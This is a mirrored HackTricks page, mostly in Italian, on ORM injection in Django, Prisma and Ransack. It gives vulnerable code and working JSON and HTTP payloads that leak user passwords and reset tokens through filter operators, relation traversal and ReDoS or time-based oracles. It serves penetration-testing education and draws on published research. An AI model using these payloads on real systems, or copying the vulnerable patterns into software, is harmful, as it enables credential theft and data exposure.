mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
338 lines
12 KiB
Markdown
338 lines
12 KiB
Markdown
|
# ORM Injection
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Django ORM (Python)
|
||
|
|
||
|
In [**questo post**](https://www.elttam.com/blog/plormbing-your-django-orm/) viene spiegato come sia possibile rendere vulnerabile un Django ORM utilizzando ad esempio un codice come:
|
||
|
|
||
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||
|
"""
|
||
|
Alcuna vista API di base a cui gli utenti inviano richieste per
|
||
|
cercare articoli
|
||
|
"""
|
||
|
def post(self, request: Request, format=None):
|
||
|
try:
|
||
|
<strong> articles = Article.objects.filter(**request.data)
|
||
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
||
|
except Exception as e:
|
||
|
return Response([])
|
||
|
return Response(serializer.data)
|
||
|
</code></pre>
|
||
|
|
||
|
Nota come tutti i request.data (che sarà un json) siano direttamente passati a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.
|
||
|
|
||
|
Esempi:
|
||
|
|
||
|
* **Login:** In un semplice login prova a leakare le password degli utenti registrati al suo interno.
|
||
|
```json
|
||
|
{
|
||
|
"username": "admin",
|
||
|
"password_startswith":"a"
|
||
|
}
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
È possibile forzare la password fino a quando non viene leakata.
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Filtraggio relazionale**: È possibile attraversare le relazioni per leakare informazioni da colonne che non ci si aspettava nemmeno fossero utilizzate nell'operazione. Ad esempio, se è possibile leakare articoli creati da un utente con queste relazioni: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||
|
```json
|
||
|
{
|
||
|
"created_by__user__password__contains":"pass"
|
||
|
}
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
È possibile trovare la password di tutti gli utenti che hanno creato un articolo
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||
|
```json
|
||
|
{
|
||
|
"created_by__departments__employees__user_startswith":"admi"
|
||
|
}
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
In questo caso possiamo trovare tutti gli utenti nei dipartimenti degli utenti che hanno creato articoli e poi leakare le loro password (nel json precedente stiamo solo leakando i nomi utente ma poi è possibile leakare le password).
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Abusare delle relazioni many-to-many di Django Group e Permission con gli utenti**: Inoltre, il modello AbstractUser è utilizzato per generare utenti in Django e per impostazione predefinita questo modello ha alcune **relazioni many-to-many con le tabelle Permission e Group**. Che fondamentalmente è un modo predefinito per **accedere ad altri utenti da un utente** se si trovano nel **stesso gruppo o condividono la stessa autorizzazione**.
|
||
|
```bash
|
||
|
# By users in the same group
|
||
|
created_by__user__groups__user__password
|
||
|
|
||
|
# By users with the same permission
|
||
|
created_by__user__user_permissions__user__password
|
||
|
```
|
||
|
* **Bypassare le restrizioni del filtro**: Lo stesso post del blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile estrarre articoli che hanno is\_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e leakare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is\_secret viene controllato nell'articolo non segreto mentre i dati vengono leakati dall'articolo segreto.
|
||
|
```bash
|
||
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
Abusando delle relazioni è possibile bypassare anche i filtri destinati a proteggere i dati mostrati.
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Error/Time based via ReDoS**: Negli esempi precedenti ci si aspettava di avere risposte diverse se il filtro funzionava o meno per usarlo come oracolo. Ma potrebbe essere possibile che venga eseguita un'azione nel database e la risposta sia sempre la stessa. In questo scenario potrebbe essere possibile provocare un errore nel database per ottenere un nuovo oracolo.
|
||
|
```json
|
||
|
// Non matching password
|
||
|
{
|
||
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||
|
}
|
||
|
|
||
|
// ReDoS matching password (will show some error in the response or check the time)
|
||
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||
|
```
|
||
|
From te same post regarding this vector:
|
||
|
|
||
|
* **SQLite**: Non ha un operatore regexp per impostazione predefinita (richiede il caricamento di un'estensione di terze parti)
|
||
|
* **PostgreSQL**: Non ha un timeout regex predefinito ed è meno soggetto a backtracking
|
||
|
* **MariaDB**: Non ha un timeout regex
|
||
|
|
||
|
## Prisma ORM (NodeJS)
|
||
|
|
||
|
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||
|
|
||
|
* **Full find control**:
|
||
|
|
||
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||
|
|
||
|
app.use(express.json());
|
||
|
|
||
|
app.post('/articles/verybad', async (req, res) => {
|
||
|
try {
|
||
|
// Attacker has full control of all prisma options
|
||
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||
|
</strong> res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
</code></pre>
|
||
|
|
||
|
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
||
|
|
||
|
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
||
|
```json
|
||
|
{
|
||
|
"filter": {
|
||
|
"include": {
|
||
|
"createdBy": true
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Response
|
||
|
[
|
||
|
{
|
||
|
"id": 1,
|
||
|
"title": "Buy Our Essential Oils",
|
||
|
"body": "They are very healthy to drink",
|
||
|
"published": true,
|
||
|
"createdById": 1,
|
||
|
"createdBy": {
|
||
|
"email": "karen@example.com",
|
||
|
"id": 1,
|
||
|
"isAdmin": false,
|
||
|
"name": "karen",
|
||
|
"password": "super secret passphrase",
|
||
|
"resetToken": "2eed5e80da4b7491"
|
||
|
}
|
||
|
},
|
||
|
...
|
||
|
]
|
||
|
```
|
||
|
```markdown
|
||
|
Il seguente seleziona tutti i post creati da qualcuno con una password e restituirà la password:
|
||
|
```
|
||
|
```json
|
||
|
{
|
||
|
"filter": {
|
||
|
"select": {
|
||
|
"createdBy": {
|
||
|
"select": {
|
||
|
"password": true
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Response
|
||
|
[
|
||
|
{
|
||
|
"createdBy": {
|
||
|
"password": "super secret passphrase"
|
||
|
}
|
||
|
},
|
||
|
...
|
||
|
]
|
||
|
```
|
||
|
* **Controllo completo della clausola where**:
|
||
|
|
||
|
Diamo un'occhiata a questo dove l'attacco può controllare la clausola `where`:
|
||
|
|
||
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||
|
try {
|
||
|
const posts = await prisma.article.findMany({
|
||
|
<strong> where: req.query.filter as any // Vulnerabile a ORM Leaks
|
||
|
</strong> })
|
||
|
res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
</code></pre>
|
||
|
|
||
|
È possibile filtrare direttamente la password degli utenti come:
|
||
|
```javascript
|
||
|
await prisma.article.findMany({
|
||
|
where: {
|
||
|
createdBy: {
|
||
|
password: {
|
||
|
startsWith: "pas"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
})
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
Utilizzando operazioni come `startsWith` è possibile leakare informazioni. 
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Bypass del filtraggio relazionale molti-a-molti:** 
|
||
|
```javascript
|
||
|
app.post('/articles', async (req, res) => {
|
||
|
try {
|
||
|
const query = req.body.query;
|
||
|
query.published = true;
|
||
|
const posts = await prisma.article.findMany({ where: query })
|
||
|
res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
```
|
||
|
È possibile leak articoli non pubblicati tornando alle relazioni molti-a-molti tra `Category` -\[\*..\*]-> `Article`:
|
||
|
```json
|
||
|
{
|
||
|
"query": {
|
||
|
"categories": {
|
||
|
"some": {
|
||
|
"articles": {
|
||
|
"some": {
|
||
|
"published": false,
|
||
|
"{articleFieldToLeak}": {
|
||
|
"startsWith": "{testStartsWith}"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
È anche possibile leak tutti gli utenti abusando di alcune relazioni many-to-many a loop back:
|
||
|
```json
|
||
|
{
|
||
|
"query": {
|
||
|
"createdBy": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"{fieldToLeak}": {
|
||
|
"startsWith": "{testStartsWith}"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
* **Error/Timed queries**: Nel post originale puoi leggere un insieme molto esteso di test eseguiti per trovare il payload ottimale per leakare informazioni con un payload basato sul tempo. Questo è:
|
||
|
```json
|
||
|
{
|
||
|
"OR": [
|
||
|
{
|
||
|
"NOT": {ORM_LEAK}
|
||
|
},
|
||
|
{CONTAINS_LIST}
|
||
|
]
|
||
|
}
|
||
|
```
|
||
|
Dove `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.**
|
||
|
|
||
|
## **Ransack (Ruby)**
|
||
|
|
||
|
Questi trucchi sono stati [**trovati in questo post**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
**Nota che Ransack 4.0.0.0 ora impone l'uso di un esplicito elenco di autorizzazione per gli attributi e le associazioni ricercabili.**
|
||
|
{% endhint %}
|
||
|
|
||
|
**Esempio vulnerabile:**
|
||
|
```ruby
|
||
|
def index
|
||
|
@q = Post.ransack(params[:q])
|
||
|
@posts = @q.result(distinct: true)
|
||
|
end
|
||
|
```
|
||
|
Nota come la query sarà definita dai parametri inviati dall'attaccante. È stato possibile, ad esempio, forzare il token di reset con:
|
||
|
```http
|
||
|
GET /posts?q[user_reset_password_token_start]=0
|
||
|
GET /posts?q[user_reset_password_token_start]=1
|
||
|
...
|
||
|
```
|
||
|
Forzando e potenzialmente relazioni, è stato possibile estrarre ulteriori dati da un database.
|
||
|
|
||
|
## Riferimenti
|
||
|
|
||
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|